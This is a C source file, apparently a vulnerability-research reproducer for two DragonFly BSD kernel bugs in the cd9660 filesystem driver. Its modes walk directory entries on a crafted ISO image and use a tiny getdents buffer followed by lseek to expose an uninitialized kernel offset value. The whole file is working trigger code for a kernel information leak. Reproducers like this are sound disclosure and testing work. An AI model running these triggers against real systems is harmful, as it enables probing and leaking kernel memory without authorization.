DF-3146 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* DF-3146 / DF-3147 trigger -- run as an unprivileged user on a mounted * crafted cd9660 filesystem. * * dirent <dir> walk the directory with getdents(32K) and hexdump every * returned name (RRIP NM walk executes per entry) * tinyseek <dir> one getdents with an 8-byte buffer (too small for the * first entry), then lseek(fd, 0, SEEK_CUR); the offset * returned is cd9660_readdir's uninitialized idp->uio_off * seekloop <dir> n repeat tinyseek n times */ #include <sys/types.h> #include <sys/dirent.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef __DragonFly__ #error "guest only" #endif ssize_t getdents(int fd, void *buf, size_t nbytes); /* DFly libc */ static void hexdump_name(const char *tag, const char *buf, int len) { int i; printf("%s namelen=%d name hex:", tag, len); for (i = 0; i < len; i++) printf(" %02x", (unsigned char)buf[i]); printf("\n"); fflush(stdout); } static int do_dirent(const char *dir) { char buf[32768]; char *dp; int fd, n; fd = open(dir, O_RDONLY); if (fd < 0) { perror("open"); return 1; } for (;;) { n = getdents(fd, buf, sizeof(buf)); if (n <= 0) { printf("getdents rc=%d errno=%d\n", n, errno); break; } for (dp = buf; dp < buf + n; dp += _DIRENT_DIRSIZ((struct dirent *)dp)) { struct dirent *de = (struct dirent *)dp; printf("ino=%llu namlen=%u type=%u :", (unsigned long long)de->d_ino, de->d_namlen, de->d_type); hexdump_name("", de->d_name, de->d_namlen); } } close(fd); return 0; } static int do_tinyseek(const char *dir) { char buf[8]; long long off; int fd, n; fd = open(dir, O_RDONLY); if (fd < 0) { perror("open"); return 1; } n = getdents(fd, buf, sizeof(buf)); errno = 0; off = lseek(fd, 0, SEEK_CUR); printf("getdents(8) rc=%d ; lseek(SEEK_CUR) = 0x%llx (%lld) errno=%d\n", n, (unsigned long long)off, off, errno); close(fd); return 0; } static int do_doubletiny(const char *dir) { char buf[8], buf2[4096]; long long off; int fd, n; fd = open(dir, O_RDONLY); if (fd < 0) { perror("open"); return 1; } n = getdents(fd, buf, sizeof(buf)); off = lseek(fd, 0, SEEK_CUR); printf("1st getdents(8) rc=%d ; lseek(SEEK_CUR)=0x%llx (%lld)\n", n, (unsigned long long)off, off); n = getdents(fd, buf2, sizeof(buf2)); off = lseek(fd, 0, SEEK_CUR); printf("2nd getdents(4096) rc=%d errno=%d ; lseek(SEEK_CUR)=0x%llx (%lld)\n", n, errno, (unsigned long long)off, off); close(fd); return 0; } int main(int argc, char **argv) { if (argc < 3) { fprintf(stderr, "usage: %s dirent|tinyseek|seekloop|doubletiny <dir> [n]\n", argv[0]); return 2; } if (strcmp(argv[1], "doubletiny") == 0) return do_doubletiny(argv[2]); if (strcmp(argv[1], "dirent") == 0) return do_dirent(argv[2]); if (strcmp(argv[1], "tinyseek") == 0) return do_tinyseek(argv[2]); if (strcmp(argv[1], "seekloop") == 0) { int i, n = argc > 3 ? atoi(argv[3]) : 8; for (i = 0; i < n; i++) do_tinyseek(argv[2]); return 0; } return 2; } |